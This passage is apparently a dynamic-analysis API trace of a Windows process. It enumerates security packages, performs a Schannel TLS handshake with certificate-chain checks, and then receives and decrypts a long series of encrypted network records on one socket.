(cb=0x36) returned 0x2e42d0 [0122.775] RtlMoveMemory (in: Destination=0x2e42d0, Source=0x34a0de, Length=0x34 | out: Destination=0x2e42d0) [0122.775] CoTaskMemFree (pv=0x2e42d0) [0122.775] lstrlenW (lpString="Microsoft Unified Security Protocol Provider") returned 44 [0122.775] CoTaskMemAlloc (cb=0x5c) returned 0x28abdd0 [0122.775] RtlMoveMemory (in: Destination=0x28abdd0, Source=0x34a112, Length=0x5a | out: Destination=0x28abdd0) [0122.776] CoTaskMemFree (pv=0x28abdd0) [0122.776] lstrlenW (lpString="Schannel Security Package") returned 25 [0122.776] CoTaskMemAlloc (cb=0x36) returned 0x2e42d0 [0122.776] RtlMoveMemory (in: Destination=0x2e42d0, Source=0x34a16c, Length=0x34 | out: Destination=0x2e42d0) [0122.776] CoTaskMemFree (pv=0x2e42d0) [0122.776] lstrlenW (lpString="WDigest") returned 7 [0122.776] CoTaskMemAlloc (cb=0x12) returned 0x28ab4a0 [0122.776] RtlMoveMemory (in: Destination=0x28ab4a0, Source=0x34a1a0, Length=0x10 | out: Destination=0x28ab4a0) [0122.776] CoTaskMemFree (pv=0x28ab4a0) [0122.776] lstrlenW (lpString="Digest Authentication for Windows") returned 33 [0122.776] CoTaskMemAlloc (cb=0x46) returned 0x2da140 [0122.776] RtlMoveMemory (in: Destination=0x2da140, Source=0x34a1b0, Length=0x44 | out: Destination=0x2da140) [0122.776] CoTaskMemFree (pv=0x2da140) [0122.776] lstrlenW (lpString="TSSSP") returned 5 [0122.776] CoTaskMemAlloc (cb=0xe) returned 0x28ab4a0 [0122.776] RtlMoveMemory (in: Destination=0x28ab4a0, Source=0x34a1f4, Length=0xc | out: Destination=0x28ab4a0) [0122.776] CoTaskMemFree (pv=0x28ab4a0) [0122.776] lstrlenW (lpString="TS Service Security Package") returned 27 [0122.777] CoTaskMemAlloc (cb=0x3a) returned 0x2da140 [0122.777] RtlMoveMemory (in: Destination=0x2da140, Source=0x34a200, Length=0x38 | out: Destination=0x2da140) [0122.777] CoTaskMemFree (pv=0x2da140) [0122.777] lstrlenW (lpString="pku2u") returned 5 [0122.777] CoTaskMemAlloc (cb=0xe) returned 0x28ab4a0 [0122.777] RtlMoveMemory (in: Destination=0x28ab4a0, Source=0x34a238, Length=0xc | out: Destination=0x28ab4a0) [0122.777] CoTaskMemFree (pv=0x28ab4a0) [0122.777] lstrlenW (lpString="PKU2U Security Package") returned 22 [0122.777] CoTaskMemAlloc (cb=0x30) returned 0x2e42d0 [0122.777] RtlMoveMemory (in: Destination=0x2e42d0, Source=0x34a244, Length=0x2e | out: Destination=0x2e42d0) [0122.777] CoTaskMemFree (pv=0x2e42d0) [0122.777] lstrlenW (lpString="CREDSSP") returned 7 [0122.777] CoTaskMemAlloc (cb=0x12) returned 0x28ab4a0 [0122.777] RtlMoveMemory (in: Destination=0x28ab4a0, Source=0x34a272, Length=0x10 | out: Destination=0x28ab4a0) [0122.777] CoTaskMemFree (pv=0x28ab4a0) [0122.777] lstrlenW (lpString="Microsoft CredSSP Security Provider") returned 35 [0122.777] CoTaskMemAlloc (cb=0x4a) returned 0x28b13e0 [0122.777] RtlMoveMemory (in: Destination=0x28b13e0, Source=0x34a282, Length=0x48 | out: Destination=0x28b13e0) [0122.777] CoTaskMemFree (pv=0x28b13e0) [0122.777] FreeContextBuffer (in: pvContextBuffer=0x349e70 | out: pvContextBuffer=0x349e70) returned 0x0 [0122.779] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c6cbb38 | out: TokenHandle=0x1c6cbb38*=0x4e4) returned 1 [0122.784] AcquireCredentialsHandleW (in: pPrincipal=0x0, pPackage=0x311b9e8, fCredentialUse=0x2, pvLogonId=0x0, pAuthData=0x1c6cba48, pGetKeyFn=0x0, pvGetKeyArgument=0x0, phCredential=0x1c6cba38, ptsExpiry=0x1c6cba30 | out: phCredential=0x1c6cba38, ptsExpiry=0x1c6cba30) returned 0x0 [0122.794] InitializeSecurityContextW (in: phCredential=0x1c6cbc40, phContext=0x0, pTargetName=0x3110248, fContextReq=0x8011c, Reserved1=0x0, TargetDataRep=0x10, pInput=0x0, Reserved2=0x0, phNewContext=0x1c6cbc30, pOutput=0x311e130, pfContextAttr=0x1c6cbc28, ptsExpiry=0x1c6cbc20 | out: phNewContext=0x1c6cbc30, pOutput=0x311e130, pfContextAttr=0x1c6cbc28, ptsExpiry=0x1c6cbc20) returned 0x90312 [0122.795] FreeContextBuffer (in: pvContextBuffer=0x357c70 | out: pvContextBuffer=0x357c70) returned 0x0 [0122.808] send (in: s=0x4e8, buf=0x311e200*, len=122, flags=0 | out: buf=0x311e200*) returned 122 [0122.810] recv (in: s=0x4e8, buf=0x311e200, len=5, flags=0 | out: buf=0x311e200*) returned 5 [0122.898] recv (in: s=0x4e8, buf=0x311e205, len=93, flags=0 | out: buf=0x311e205*) returned 93 [0122.900] InitializeSecurityContextW (in: phCredential=0x1c6cbb60, phContext=0x1c6cbe10, pTargetName=0x3110248, fContextReq=0x8011c, Reserved1=0x0, TargetDataRep=0x10, pInput=0x311e518, Reserved2=0x0, phNewContext=0x1c6cbb50, pOutput=0x311e538, pfContextAttr=0x1c6cbb48, ptsExpiry=0x1c6cbb40 | out: phNewContext=0x1c6cbb50, pOutput=0x311e538, pfContextAttr=0x1c6cbb48, ptsExpiry=0x1c6cbb40) returned 0x90312 [0122.901] recv (in: s=0x4e8, buf=0x311e628, len=5, flags=0 | out: buf=0x311e628*) returned 5 [0122.901] recv (in: s=0x4e8, buf=0x311e64d, len=4588, flags=0 | out: buf=0x311e64d*) returned 4588 [0122.901] InitializeSecurityContextW (in: phCredential=0x1c6cba90, phContext=0x1c6cbd40, pTargetName=0x3110248, fContextReq=0x8011c, Reserved1=0x0, TargetDataRep=0x10, pInput=0x311f910, Reserved2=0x0, phNewContext=0x1c6cba80, pOutput=0x311f930, pfContextAttr=0x1c6cba78, ptsExpiry=0x1c6cba70 | out: phNewContext=0x1c6cba80, pOutput=0x311f930, pfContextAttr=0x1c6cba78, ptsExpiry=0x1c6cba70) returned 0x90312 [0122.901] recv (in: s=0x4e8, buf=0x311fa20, len=5, flags=0 | out: buf=0x311fa20*) returned 5 [0122.901] recv (in: s=0x4e8, buf=0x311fa45, len=331, flags=0 | out: buf=0x311fa45*) returned 331 [0122.902] InitializeSecurityContextW (in: phCredential=0x1c6cb9c0, phContext=0x1c6cbc70, pTargetName=0x3110248, fContextReq=0x8011c, Reserved1=0x0, TargetDataRep=0x10, pInput=0x311fc60, Reserved2=0x0, phNewContext=0x1c6cb9b0, pOutput=0x311fc80, pfContextAttr=0x1c6cb9a8, ptsExpiry=0x1c6cb9a0 | out: phNewContext=0x1c6cb9b0, pOutput=0x311fc80, pfContextAttr=0x1c6cb9a8, ptsExpiry=0x1c6cb9a0) returned 0x90312 [0122.902] recv (in: s=0x4e8, buf=0x311fd70, len=5, flags=0 | out: buf=0x311fd70*) returned 5 [0122.902] recv (in: s=0x4e8, buf=0x311fd95, len=4, flags=0 | out: buf=0x311fd95*) returned 4 [0122.902] InitializeSecurityContextW (in: phCredential=0x1c6cb8f0, phContext=0x1c6cbba0, pTargetName=0x3110248, fContextReq=0x8011c, Reserved1=0x0, TargetDataRep=0x10, pInput=0x311fe70, Reserved2=0x0, phNewContext=0x1c6cb8e0, pOutput=0x311fe90, pfContextAttr=0x1c6cb8d8, ptsExpiry=0x1c6cb8d0 | out: phNewContext=0x1c6cb8e0, pOutput=0x311fe90, pfContextAttr=0x1c6cb8d8, ptsExpiry=0x1c6cb8d0) returned 0x90312 [0122.912] FreeContextBuffer (in: pvContextBuffer=0x2cb0c0 | out: pvContextBuffer=0x2cb0c0) returned 0x0 [0122.912] send (in: s=0x4e8, buf=0x311ff60*, len=134, flags=0 | out: buf=0x311ff60*) returned 134 [0122.912] recv (in: s=0x4e8, buf=0x311ff60, len=5, flags=0 | out: buf=0x311ff60*) returned 5 [0122.935] recv (in: s=0x4e8, buf=0x311ff65, len=1, flags=0 | out: buf=0x311ff65*) returned 1 [0122.935] InitializeSecurityContextW (in: phCredential=0x1c6cb820, phContext=0x1c6cbad0, pTargetName=0x3110248, fContextReq=0x8011c, Reserved1=0x0, TargetDataRep=0x10, pInput=0x31200d8, Reserved2=0x0, phNewContext=0x1c6cb810, pOutput=0x31200f8, pfContextAttr=0x1c6cb808, ptsExpiry=0x1c6cb800 | out: phNewContext=0x1c6cb810, pOutput=0x31200f8, pfContextAttr=0x1c6cb808, ptsExpiry=0x1c6cb800) returned 0x90312 [0122.936] recv (in: s=0x4e8, buf=0x31201e8, len=5, flags=0 | out: buf=0x31201e8*) returned 5 [0122.936] recv (in: s=0x4e8, buf=0x312020d, len=48, flags=0 | out: buf=0x312020d*) returned 48 [0122.936] InitializeSecurityContextW (in: phCredential=0x1c6cb750, phContext=0x1c6cba00, pTargetName=0x3110248, fContextReq=0x8011c, Reserved1=0x0, TargetDataRep=0x10, pInput=0x3120310, Reserved2=0x0, phNewContext=0x1c6cb740, pOutput=0x3120330, pfContextAttr=0x1c6cb738, ptsExpiry=0x1c6cb730 | out: phNewContext=0x1c6cb740, pOutput=0x3120330, pfContextAttr=0x1c6cb738, ptsExpiry=0x1c6cb730) returned 0x0 [0122.949] QueryContextAttributesW (in: phContext=0x1c6cb9b0, ulAttribute=0x4, pBuffer=0x3120448 | out: pBuffer=0x3120448) returned 0x0 [0122.950] QueryContextAttributesW (in: phContext=0x1c6cb9b0, ulAttribute=0x5a, pBuffer=0x31204c8 | out: pBuffer=0x31204c8) returned 0x0 [0122.960] QueryContextAttributesW (in: phContext=0x1c6cb860, ulAttribute=0x53, pBuffer=0x3120818 | out: pBuffer=0x3120818) returned 0x0 [0122.969] CertDuplicateCRLContext (pCrlContext=0x3ad910) returned 0x3ad910 [0122.973] CertDuplicateStore (hCertStore=0x28c7b70) returned 0x28c7b70 [0122.973] CertEnumCertificatesInStore (hCertStore=0x28c7b70, pPrevCertContext=0x0) returned 0x3ada10 [0122.973] CertDuplicateCRLContext (pCrlContext=0x3ada10) returned 0x3ada10 [0122.974] CertEnumCertificatesInStore (hCertStore=0x28c7b70, pPrevCertContext=0x3ada10) returned 0x3ad990 [0122.974] CertDuplicateCRLContext (pCrlContext=0x3ad990) returned 0x3ad990 [0122.974] CertEnumCertificatesInStore (hCertStore=0x28c7b70, pPrevCertContext=0x3ad990) returned 0x3ad910 [0122.974] CertDuplicateCRLContext (pCrlContext=0x3ad910) returned 0x3ad910 [0122.975] CertEnumCertificatesInStore (hCertStore=0x28c7b70, pPrevCertContext=0x3ad910) returned 0x0 [0122.975] CertCloseStore (hCertStore=0x28c7b70, dwFlags=0x0) returned 1 [0122.975] CertFreeCRLContext (pCrlContext=0x3ad910) returned 1 [0122.983] CertOpenStore (lpszStoreProvider=0x2, dwEncodingType=0x10001, hCryptProv=0x0, dwFlags=0x2204, pvPara=0x0) returned 0x28c7c40 [0122.983] CertAddCRLLinkToStore (in: hCertStore=0x28c7c40, pCrlContext=0x3ada10, dwAddDisposition=0x4, ppStoreContext=0x0 | out: ppStoreContext=0x0) returned 1 [0122.984] CertAddCRLLinkToStore (in: hCertStore=0x28c7c40, pCrlContext=0x3ad990, dwAddDisposition=0x4, ppStoreContext=0x0 | out: ppStoreContext=0x0) returned 1 [0122.984] CertAddCRLLinkToStore (in: hCertStore=0x28c7c40, pCrlContext=0x3ad910, dwAddDisposition=0x4, ppStoreContext=0x0 | out: ppStoreContext=0x0) returned 1 [0122.990] CertGetCertificateChain (in: hChainEngine=0x0, pCertContext=0x3ad910, pTime=0x1c6cb868, hAdditionalStore=0x28c7c40, pChainPara=0x1c6cb870, dwFlags=0x0, pvReserved=0x0, ppChainContext=0x1c6cb860 | out: ppChainContext=0x1c6cb860) returned 1 [0123.279] CertDuplicateCertificateChain (pChainContext=0x1c796db0) returned 0x1c796db0 [0123.280] CertDuplicateCRLContext (pCrlContext=0x3ad910) returned 0x3ad910 [0123.281] CertDuplicateCRLContext (pCrlContext=0x1c7f2f90) returned 0x1c7f2f90 [0123.281] CertDuplicateCRLContext (pCrlContext=0x1c7f3010) returned 0x1c7f3010 [0123.281] CertFreeCertificateChain (pChainContext=0x1c796db0) [0123.282] CertVerifyCertificateChainPolicy (in: pszPolicyOID=0x1, pChainContext=0x1c796db0, pPolicyPara=0x1c6cb9e8, pPolicyStatus=0x1c6cb9c8 | out: pPolicyStatus=0x1c6cb9c8) returned 1 [0123.283] SetLastError (dwErrCode=0x0) [0123.289] CertVerifyCertificateChainPolicy (in: pszPolicyOID=0x4, pChainContext=0x1c796db0, pPolicyPara=0x1c6cbac0, pPolicyStatus=0x1c6cbaa8 | out: pPolicyStatus=0x1c6cbaa8) returned 1 [0123.293] CertFreeCertificateChain (pChainContext=0x1c796db0) [0123.293] CertFreeCRLContext (pCrlContext=0x3ad910) returned 1 [0123.297] EncryptMessage (in: phContext=0x1c6cc070, fQOP=0x0, pMessage=0x3123290, MessageSeqNo=0x0 | out: pMessage=0x3123290) returned 0x0 [0123.298] send (in: s=0x4e8, buf=0x3122fc8*, len=117, flags=0 | out: buf=0x3122fc8*) returned 117 [0123.306] setsockopt (s=0x4e8, level=65535, optname=4102, optval="\xa0\x86\x01", optlen=4) returned 0 [0123.306] recv (in: s=0x4e8, buf=0x31233f0, len=5, flags=0 | out: buf=0x31233f0*) returned 5 [0123.324] recv (in: s=0x4e8, buf=0x3123415, len=1440, flags=0 | out: buf=0x3123415*) returned 1440 [0123.325] DecryptMessage (in: phContext=0x1c6cbc30, pMessage=0x3123ac8, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x3123ac8, pfQOP=0x0) returned 0x0 [0123.472] setsockopt (s=0x4e8, level=65535, optname=4102, optval="\xe0\x93\x04", optlen=4) returned 0 [0123.473] recv (in: s=0x4e8, buf=0x3123410, len=5, flags=0 | out: buf=0x3123410*) returned 5 [0123.473] recv (in: s=0x4e8, buf=0x3123415, len=1440, flags=0 | out: buf=0x3123415*) returned 1440 [0123.473] DecryptMessage (in: phContext=0x1c6cb940, pMessage=0x31362a8, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x31362a8, pfQOP=0x0) returned 0x0 [0123.473] recv (in: s=0x4e8, buf=0x3123410, len=5, flags=0 | out: buf=0x3123410*) returned 5 [0123.473] recv (in: s=0x4e8, buf=0x3123415, len=1440, flags=0 | out: buf=0x3123415*) returned 1440 [0123.473] DecryptMessage (in: phContext=0x1c6cb940, pMessage=0x31374b0, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x31374b0, pfQOP=0x0) returned 0x0 [0123.473] recv (in: s=0x4e8, buf=0x3123410, len=5, flags=0 | out: buf=0x3123410*) returned 5 [0123.473] recv (in: s=0x4e8, buf=0x3123415, len=1440, flags=0 | out: buf=0x3123415*) returned 1440 [0123.474] DecryptMessage (in: phContext=0x1c6cb940, pMessage=0x31396b8, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x31396b8, pfQOP=0x0) returned 0x0 [0123.474] recv (in: s=0x4e8, buf=0x3123410, len=5, flags=0 | out: buf=0x3123410*) returned 5 [0123.474] recv (in: s=0x4e8, buf=0x3123415, len=1440, flags=0 | out: buf=0x3123415*) returned 1440 [0123.474] DecryptMessage (in: phContext=0x1c6cb940, pMessage=0x31398a8, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x31398a8, pfQOP=0x0) returned 0x0 [0123.474] recv (in: s=0x4e8, buf=0x3123410, len=5, flags=0 | out: buf=0x3123410*) returned 5 [0123.474] recv (in: s=0x4e8, buf=0x3123415, len=1440, flags=0 | out: buf=0x3123415*) returned 1440 [0123.474] DecryptMessage (in: phContext=0x1c6cb940, pMessage=0x3139a98, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x3139a98, pfQOP=0x0) returned 0x0 [0123.474] recv (in: s=0x4e8, buf=0x3123410, len=5, flags=0 | out: buf=0x3123410*) returned 5 [0123.475] recv (in: s=0x4e8, buf=0x3123415, len=1440, flags=0 | out: buf=0x3123415*) returned 1440 [0123.475] DecryptMessage (in: phContext=0x1c6cb940, pMessage=0x313dca0, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x313dca0, pfQOP=0x0) returned 0x0 [0123.475] recv (in: s=0x4e8, buf=0x3123410, len=5, flags=0 | out: buf=0x3123410*) returned 5 [0123.475] recv (in: s=0x4e8, buf=0x3123415, len=1440, flags=0 | out: buf=0x3123415*) returned 1440 [0123.475] DecryptMessage (in: phContext=0x1c6cb940, pMessage=0x313de90, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x313de90, pfQOP=0x0) returned 0x0 [0123.475] recv (in: s=0x4e8, buf=0x3123410, len=5, flags=0 | out: buf=0x3123410*) returned 5 [0123.475] recv (in: s=0x4e8, buf=0x3123415, len=176, flags=0 | out: buf=0x3123415*) returned 176 [0123.475] DecryptMessage (in: phContext=0x1c6cb940, pMessage=0x313e080, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x313e080, pfQOP=0x0) returned 0x0 [0123.475] recv (in: s=0x4e8, buf=0x3123410, len=5, flags=0 | out: buf=0x3123410*) returned 5 [0123.475] recv (in: s=0x4e8, buf=0x3123415, len=1440, flags=0 | out: buf=0x3123415*) returned 1440 [0123.475] DecryptMessage (in: phContext=0x1c6cb940, pMessage=0x313e270, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x313e270, pfQOP=0x0) returned 0x0 [0123.475] recv (in: s=0x4e8, buf=0x3123410, len=5, flags=0 | out: buf=0x3123410*) returned 5 [0123.475] recv (in: s=0x4e8, buf=0x3123415, len=1440, flags=0 | out: buf=0x3123415*) returned 1440 [0123.476] DecryptMessage (in: phContext=0x1c6cb940, pMessage=0x313e460, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x313e460, pfQOP=0x0) returned 0x0 [0123.476] recv (in: s=0x4e8, buf=0x3123410, len=5, flags=0 | out: buf=0x3123410*) returned 5 [0123.476] recv (in: s=0x4e8, buf=0x3123415, len=1440, flags=0 | out: buf=0x3123415*) returned 1440 [0123.476] DecryptMessage (in: phContext=0x1c6cb940, pMessage=0x313e650, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x313e650, pfQOP=0x0) returned 0x0 [0123.476] recv (in: s=0x4e8, buf=0x3123410, len=5, flags=0 | out: buf=0x3123410*) returned 5 [0123.476] recv (in: s=0x4e8, buf=0x3123415, len=1440, flags=0 | out: buf=0x3123415*) returned 1440 [0123.476] DecryptMessage (in: phContext=0x1c6cb940, pMessage=0x313e840, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x313e840, pfQOP=0x0) returned 0x0 [0123.476] recv (in: s=0x4e8, buf=0x3123410, len=5, flags=0 | out: buf=0x3123410*) returned 5 [0123.476] recv (in: s=0x4e8, buf=0x3123415, len=1440, flags=0 | out: buf=0x3123415*) returned 1440 [0123.477] DecryptMessage (in: phContext=0x1c6cb940, pMessage=0x3146a48, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x3146a48, pfQOP=0x0) returned 0x0 [0123.477] recv (in: s=0x4e8, buf=0x3123410, len=5, flags=0 | out: buf=0x3123410*) returned 5 [0123.477] recv (in: s=0x4e8, buf=0x3123415, len=1440, flags=0 | out: buf=0x3123415*) returned 1440 [0123.477] DecryptMessage (in: phContext=0x1c6cb940, pMessage=0x3146c38, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x3146c38, pfQOP=0x0) returned 0x0 [0123.477] recv (in: s=0x4e8, buf=0x3123410, len=5, flags=0 | out: buf=0x3123410*) returned 5 [0123.477] recv (in: s=0x4e8, buf=0x3123415, len=1440, flags=0 | out: buf=0x3123415*) returned 1440 [0123.477] DecryptMessage (in: phContext=0x1c6cb940, pMessage=0x3146e28, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x3146e28, pfQOP=0x0) returned 0x0 [0123.477] recv (in: s=0x4e8, buf=0x3123410, len=5, flags=0 | out: buf=0x3123410*) returned 5 [0123.477] recv (in: s=0x4e8, buf=0x3123415, len=1440, flags=0 | out: buf=0x3123415*) returned 1440 [0123.477] DecryptMessage (in: phContext=0x1c6cb940, pMessage=0x3147018, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x3147018, pfQOP=0x0) returned 0x0 [0123.478] recv (in: s=0x4e8, buf=0x3123410, len=5, flags=0 | out: buf=0x3123410*) returned 5 [0123.478] recv (in: s=0x4e8, buf=0x3123415, len=1440, flags=0 | out: buf=0x3123415*) returned 1440 [0123.478] DecryptMessage (in: phContext=0x1c6cb940, pMessage=0x3147208, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x3147208, pfQOP=0x0) returned 0x0 [0123.478] recv (in: s=0x4e8, buf=0x3123410, len=5, flags=0 | out: buf=0x3123410*) returned 5 [0123.478] recv (in: s=0x4e8, buf=0x3123415, len=1440, flags=0 | out: buf=0x3123415*) returned 1440 [0123.478] DecryptMessage (in: phContext=0x1c6cb940, pMessage=0x31473f8, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x31473f8, pfQOP=0x0) returned 0x0 [0123.478] recv (in: s=0x4e8, buf=0x3123410, len=5, flags=0 | out: buf=0x3123410*) returned 5 [0123.478] recv (in: s=0x4e8, buf=0x3123415, len=1440, flags=0 | out: buf=0x3123415*) returned 1440 [0123.478] DecryptMessage (in: phContext=0x1c6cb940, pMessage=0x31475e8, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x31475e8, pfQOP=0x0) returned 0x0 [0123.478] recv (in: s=0x4e8, buf=0x3123410, len=5, flags=0 | out: buf=0x3123410*) returned 5 [0123.479] recv (in: s=0x4e8, buf=0x3123415, len=1440, flags=0 | out: buf=0x3123415*) returned 1440 [0123.479] DecryptMessage (in: phContext=0x1c6cb940, pMessage=0x31477d8, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x31477d8, pfQOP=0x0) returned 0x0 [0123.479] recv (in: s=0x4e8, buf=0x3123410, len=5, flags=0 | out: buf=0x3123410*) returned 5 [0123.479] recv (in: s=0x4e8, buf=0x3123415, len=1440, flags=0 | out: buf=0x3123415*) returned 1440 [0123.479] DecryptMessage (in: phContext=0x1c6cb940, pMessage=0x31479c8, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x31479c8, pfQOP=0x0) returned 0x0 [0123.479] recv (in: s=0x4e8, buf=0x3123410, len=5, flags=0 | out: buf=0x3123410*) returned 5 [0123.479] recv (in: s=0x4e8, buf=0x3123415, len=1440, flags=0 | out: buf=0x3123415*) returned 1440 [0123.479] DecryptMessage (in: phContext=0x1c6cb940, pMessage=0x3147bb8, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x3147bb8, pfQOP=0x0) returned 0x0 [0123.479] recv (in: s=0x4e8, buf=0x3123410, len=5, flags=0 | out: buf=0x3123410*) returned 5 [0123.479] recv (in: s=0x4e8, buf=0x3123415, len=160, flags=0 | out: buf=0x3123415*) returned 160 [0123.479] DecryptMessage (in: phContext=0x1c6cb940, pMessage=0x3147da8, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x3147da8, pfQOP=0x0) returned 0x0 [0123.479] recv (in: s=0x4e8, buf=0x3123410, len=5, flags=0 | out: buf=0x3123410*) returned 5 [0123.480] recv (in: s=0x4e8, buf=0x3123415, len=1440, flags=0 | out: buf=0x3123415*) returned 1440 [0123.480] DecryptMessage (in: phContext=0x1c6cb940, pMessage=0x3147f98, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x3147f98, pfQOP=0x0) returned 0x0 [0123.480] recv (in: s=0x4e8, buf=0x3123410, len=5, flags=0 | out: buf=0x3123410*) returned 5 [0123.480] recv (in: s=0x4e8, buf=0x3123415, len=1440, flags=0 | out: buf=0x3123415*) returned 1440 [0123.480] DecryptMessage (in: phContext=0x1c6cb940, pMessage=0x31581a0, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x31581a0, pfQOP=0x0) returned 0x0 [0123.480] recv (in: s=0x4e8, buf=0x3123410, len=5, flags=0 | out: buf=0x3123410*) returned 5 [0123.480] recv (in: s=0x4e8, buf=0x3123415, len=1440, flags=0 | out: buf=0x3123415*) returned 1440 [0123.480] DecryptMessage (in: phContext=0x1c6cb940, pMessage=0x3158390, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x3158390, pfQOP=0x0) returned 0x0 [0123.480] recv (in: s=0x4e8, buf=0x3123410, len=5, flags=0 | out: buf=0x3123410*) returned 5 [0123.480] recv (in: s=0x4e8, buf=0x3123415, len=1440, flags=0 | out: buf=0x3123415*) returned 1440 [0123.481] DecryptMessage (in: phContext=0x1c6cb940, pMessage=0x3158580, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x3158580, pfQOP=0x0) returned 0x0 [0123.481] recv (in: s=0x4e8, buf=0x3123410, len=5, flags=0 | out: buf=0x3123410*) returned 5 [0123.481] recv (in: s=0x4e8, buf=0x3123415, len=1440, flags=0 | out: buf=0x3123415*) returned 1440 [0123.481] DecryptMessage (in: phContext=0x1c6cb940, pMessage=0x3158770, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x3158770, pfQOP=0x0) returned 0x0 [0123.481] recv (in: s=0x4e8, buf=0x3123410, len=5, flags=0 | out: buf=0x3123410*) returned 5 [0123.481] recv (in: s=0x4e8, buf=0x3123415, len=1440, flags=0 | out: buf=0x3123415*) returned 1440 [0123.481] DecryptMessage (in: phContext=0x1c6cb940, pMessage=0x3158960, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x3158960, pfQOP=0x0) returned 0x0 [0123.481] recv (in: s=0x4e8, buf=0x3123410, len=5, flags=0 | out: buf=0x3123410*) returned 5 [0123.481] recv (in: s=0x4e8, buf=0x3123415, len=1440, flags=0 | out: buf=0x3123415*) returned 1440 [0123.482] DecryptMessage (in: phContext=0x1c6cb940, pMessage=0x3158b50, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x3158b50, pfQOP=0x0) returned 0x0 [0123.482] recv (in: s=0x4e8, buf=0x3123410, len=5, flags=0 | out: buf=0x3123410*) returned 5 [0123.482] recv (in: s=0x4e8, buf=0x3123415, len=1440, flags=0 | out: buf=0x3123415*) returned 1440 [0123.482] DecryptMessage (in: phContext=0x1c6cb940, pMessage=0x3158d40, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x3158d40, pfQOP=0x0) returned 0x0 [0123.482] recv (in: s=0x4e8, buf=0x3123410, len=5, flags=0 | out: buf=0x3123410*) returned 5 [0123.482] recv (in: s=0x4e8, buf=0x3123415, len=1440, flags=0 | out: buf=0x3123415*) returned 1440 [0123.482] DecryptMessage (in: phContext=0x1c6cb940, pMessage=0x3158f30, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x3158f30, pfQOP=0x0) returned 0x0 [0123.482] recv (in: s=0x4e8, buf=0x3123410, len=5, flags=0 | out: buf=0x3123410*) returned 5 [0123.482] recv (in: s=0x4e8, buf=0x3123415, len=1440, flags=0 | out: buf=0x3123415*) returned 1440 [0123.483] DecryptMessage (in: phContext=0x1c6cb940, pMessage=0x3159120, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x3159120, pfQOP=0x0) returned 0x0 [0123.483] recv (in: s=0x4e8, buf=0x3123410, len=5, flags=0 | out: buf=0x3123410*) returned 5 [0123.483] recv (in: s=0x4e8, buf=0x3123415, len=1440, flags=0 | out: buf=0x3123415*) returned 1440 [0123.483] DecryptMessage (in: phContext=0x1c6cb940, pMessage=0x3159310, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x3159310, pfQOP=0x0) returned 0x0 [0123.483] recv (in: s=0x4e8, buf=0x3123410, len=5, flags=0 | out: buf=0x3123410*) returned 5 [0123.483] recv (in: s=0x4e8, buf=0x3123415, len=1440, flags=0 | out: buf=0x3123415*) returned 1440 [0123.483] DecryptMessage (in: phContext=0x1c6cb940, pMessage=0x3159500, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x3159500, pfQOP=0x0) returned 0x0 [0123.483] recv (in: s=0x4e8, buf=0x3123410, len=5, flags=0 | out: buf=0x3123410*) returned 5 [0123.483] recv (in: s=0x4e8, buf=0x3123415, len=1440, flags=0 | out: buf=0x3123415*) returned 1440 [0123.483] DecryptMessage (in: phContext=0x1c6cb940, pMessage=0x31596f0, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x31596f0, pfQOP=0x0) returned 0x0 [0123.484] recv (in: s=0x4e8, buf=0x3123410, len=5, flags=0 | out: buf=0x3123410*) returned 5 [0123.484] recv (in: s=0x4e8, buf=0x3123415, len=1440, flags=0 | out: buf=0x3123415*) returned 1440 [0123.484] DecryptMessage (in: phContext=0x1c6cb940, pMessage=0x31598e0, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x31598e0, pfQOP=0x0) returned 0x0 [0123.484] recv (in: s=0x4e8, buf=0x3123410, len=5, flags=0 | out: buf=0x3123410*) returned 5 [0123.484] recv (in: s=0x4e8, buf=0x3123415, len=160, flags=0 | out: buf=0x3123415*) returned 160 [0123.484] DecryptMessage (in: phContext=0x1c6cb940, pMessage=0x3159ad0, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x3159ad0, pfQOP=0x0) returned 0x0 [0123.485] recv (in: s=0x4e8, buf=0x3123410, len=5, flags=0 | out: buf=0x3123410*) returned 5 [0123.486] recv (in: s=0x4e8, buf=0x3159bcd, len=16416, flags=0 | out: buf=0x3159bcd*) returned 16416 [0123.486] DecryptMessage (in: phContext=0x1c6cb940, 